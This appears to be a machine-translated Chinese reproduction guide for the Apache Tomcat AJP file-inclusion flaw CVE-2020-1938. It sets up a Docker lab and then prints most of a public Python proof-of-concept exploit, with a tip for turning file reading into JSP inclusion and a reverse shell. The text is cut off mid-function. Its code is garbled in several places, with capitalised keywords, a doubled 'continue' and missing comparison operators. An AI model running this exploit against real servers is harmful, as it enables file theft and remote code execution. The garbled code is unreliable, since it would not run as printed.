CVE-2020-1938 Apache Tomcat AJP 文件包含漏洞复现

漏洞复现

环境搭建

docker-compose.yml

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version: '2'

services:

tomcat:

image: vulhub/tomcat:9.0.30

ports:

- '8080:8080'

- '8009:8009'

Start the mirror:

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docker-compose up -d

POC

Source: https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

The original author's pc can only read files. Change the original author's pc self.req_uri=req_uri to self.req_uri=req_uri + '.jsp' to include the file, thereby bounce the shell.

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#!/usr/bin/env python

import struct

# Some references:

# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html

def pack_string(s):

If s is None:

return struct.pack('h', -1)

l=len(s)

return struct.pack('H%dsb' % l, l, s.encode('utf8'), 0)

def unpack(stream, fmt):

size=struct.calcsize(fmt)

buf=stream.read(size)

return struct.unpack(fmt, buf)

def unpack_string(stream):

size,=unpack(stream, 'h')

if size==-1: # null string

return None

res,=unpack(stream, '%ds' % size)

stream.read(1) # \0

Return res

class NotFoundException(Exception):

pass

class AjpBodyRequest(object):

# server==web server, container==servlet

SERVER_TO_CONTAINER, CONTAINER_TO_SERVER=range(2)

MAX_REQUEST_LENGTH=8186

def __init__(self, data_stream, data_len, data_direction=None):

self.data_stream=data_stream

self.data_len=data_len

self.data_direction=data_direction

def serialize(self):

data=self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)

if len(data)==0:

return struct.pack('bbH',0x12,0x34,0x00)

else:

res=struct.pack('H', len(data))

res +=data

if self.data_direction==AjpBodyRequest.SERVER_TO_CONTAINER:

header=struct.pack('bbH',0x12,0x34, len(res))

else:

header=struct.pack('bbH',0x41,0x42, len(res))

return header + res

def send_and_receive(self, socket, stream):

while True:

data=self.serialize()

socket.send(data)

r=AjpResponse.receive(stream)

while r.prefix_code !=AjpResponse.GET_BODY_CHUNK and r.prefix_code !=AjpResponse.SEND_HEADERS:

r=AjpResponse.receive(stream)

if r.prefix_code==AjpResponse.SEND_HEADERS or len(data)==4:

break

class AjpForwardRequest(object):

_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY=range(28)

REQUEST_METHODS={'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}

# server==web server, container==servlet

SERVER_TO_CONTAINER, CONTAINER_TO_SERVER=range(2)

COMMON_HEADERS=['SC_REQ_ACCEPT',

'SC_REQ_ACCEPT_CHARSET', 'SC_REQ_ACCEPT_ENCODING', 'SC_REQ_ACCEPT_LANGUAGE', 'SC_REQ_AUTHORIZATION',

'SC_REQ_CONNECTION', 'SC_REQ_CONTENT_TYPE', 'SC_REQ_CONTENT_LENGTH', 'SC_REQ_COOKIE', 'SC_REQ_COOKIE2',

'SC_REQ_HOST', 'SC_REQ_PRAGMA', 'SC_REQ_REFERER', 'SC_REQ_USER_AGENT'

]

ATTRIBUTES=['context', 'servlet_path', 'remote_user', 'auth_type', 'query_string', 'route', 'ssl_cert', 'ssl_cipher', 'ssl_session', 'req_attribute', 'ssl_key_size', 'secret', 'stored_method']

def __init__(self, data_direction=None):

self.prefix_code=0x02

self.method=None

self.protocol=None

self.req_uri=None

self.remote_addr=None

self.remote_host=None

self.server_name=None

self.server_port=None

self.is_ssl=None

self.num_headers=None

self.request_headers=None

self.attributes=None

self.data_direction=data_direction

def pack_headers(self):

self.num_headers=len(self.request_headers)

res=''

res=struct.pack('h', self.num_headers)

for h_name in self.request_headers:

if h_name.startswith('SC_REQ'):

code=AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1

res +=struct.pack('BB',0xA0, code)

else:

res +=pack_string(h_name)

res +=pack_string(self.request_headers[h_name])

Return res

def pack_attributes(self):

res=b''

for attr in self.attributes:

a_name=attr['name']

code=AjpForwardRequest.ATTRIBUTES.index(a_name) + 1

res +=struct.pack('b', code)

if a_name=='req_attribute':

aa_name, a_value=attr['value']

res +=pack_string(aa_name)

res +=pack_string(a_value)

else:

res +=pack_string(attr['value'])

res +=struct.pack('B',0xFF)

Return res

def serialize(self):

res=''

res=struct.pack('bb', self.prefix_code, self.method)

res +=pack_string(self.protocol)

res +=pack_string(self.req_uri)

res +=pack_string(self.remote_addr)

res +=pack_string(self.remote_host)

res +=pack_string(self.server_name)

res +=struct.pack('h', self.server_port)

res +=struct.pack('?', self.is_ssl)

res +=self.pack_headers()

res +=self.pack_attributes()

if self.data_direction==AjpForwardRequest.SERVER_TO_CONTAINER:

header=struct.pack('bbh',0x12,0x34, len(res))

else:

header=struct.pack('bbh',0x41,0x42, len(res))

return header + res

def parse(self, raw_packet):

stream=StringIO(raw_packet)

self.magic1, self.magic2, data_len=unpack(stream, 'bbH')

self.prefix_code, self.method=unpack(stream, 'bb')

self.protocol=unpack_string(stream)

self.req_uri=unpack_string(stream)

self.remote_addr=unpack_string(stream)

self.remote_host=unpack_string(stream)

self.server_name=unpack_string(stream)

self.server_port=unpack(stream, 'h')

self.is_ssl=unpack(stream, '?')

self.num_headers,=unpack(stream, 'H')

self.request_headers={}

for i in range(self.num_headers):

code,=unpack(stream, 'H')

if code0xA000:

h_name=AjpForwardRequest.COMMON_HEADERS[code -0xA001]

else:

h_name=unpack(stream, '%ds' %code)

stream.read(1) # \0

h_value=unpack_string(stream)

self.request_headers[h_name]=h_value

def send_and_receive(self, socket, stream, save_cookies=False):

res=[]

i=socket.sendall(self.serialize())

if self.method==AjpForwardRequest.POST:

Return res

r=AjpResponse.receive(stream)

assert r.prefix_code==AjpResponse.SEND_HEADERS

res.append(r)

if save_cookies and 'Set-Cookie' in r.response_headers:

self.headers['SC_REQ_COOKIE']=r.response_headers['Set-Cookie']

# read body chunks and end response packets

while True:

r=AjpResponse.receive(stream)

res.append(r)

if r.prefix_code==AjpResponse.END_RESPONSE:

break

elif r.prefix_code==AjpResponse.SEND_BODY_CHUNK:

Continue continue

else:

raise NotImplementedError

break

Return res

class AjpResponse(object):

_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK=range(7)

COMMON_SEND_HEADERS=[

'Content-Type', 'Content-Language', 'Content-Length', 'Date', 'Last-Modified',

'Location', 'Set-Cookie', 'Set-Cookie2', 'Servlet-Engine', 'Status', 'WWW-Authenticate'

]

def parse(self, stream):

# read headers

self.magic, self.data_length, self.prefix_code=unpack(stream, 'HHb')

if self.prefix_code==AjpResponse.SEND_HEADERS:

self.parse_send_headers(stream)

elif self.prefix_code==AjpResponse.SEND_BODY_CHUNK:

self.parse_send_body_chunk(stream)

elif self.prefix_code==AjpResponse.END_RESPONSE:

self.parse_end_response(stream)

elif self.prefix_code==AjpResponse.GET_BODY_CHUNK:

self.parse_get_body_chunk(stream)

else:

raise NotImplementedError

def parse_send_headers(self, stream):

self.http_status_code,=unpack(stream, 'H')

self.http_status_msg=unpack_string(stream)

self.num_headers,=unpack(stream, 'H')

self.response_headers={}

for i in range(self.num_headers):

code,=unpack(stream, 'H')

if code=0xA000: # custom header

h_name,=unpack(stream, '%ds' %code)

stream.read(1) # \0

h_value=unpack_string(stream)

else:

h_name=AjpResponse.COMMON_SEND_HEADERS[code-0xA001]

h_value=unpack_string(stream)

self.response_headers[h_name]=h_value

def parse_send_body_chunk(self, stream):

self.data_length,=unpack(stream, 'H')

self.data=stream.read(self.data_length+1)

def parse_end_response(self, stream):

self.reuse,=unpack(stream, 'b')

def parse_get_body_chunk(self, stream):

rlen,=unpack(stream, 'H')

return rlen

@staticmethod

def receive(stream):

r=AjpResponse()

r.parse(stream)

Return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):

fr=AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)

fr.method=method

fr.protocol='HTTP/1.1'

fr.req_uri=req_uri

fr.remote_addr=target_host

fr.remote_host=None

fr.server_name=target_host

fr.server_port=80

fr.request_headers={

'SC_REQ_ACCEPT': 'text/html',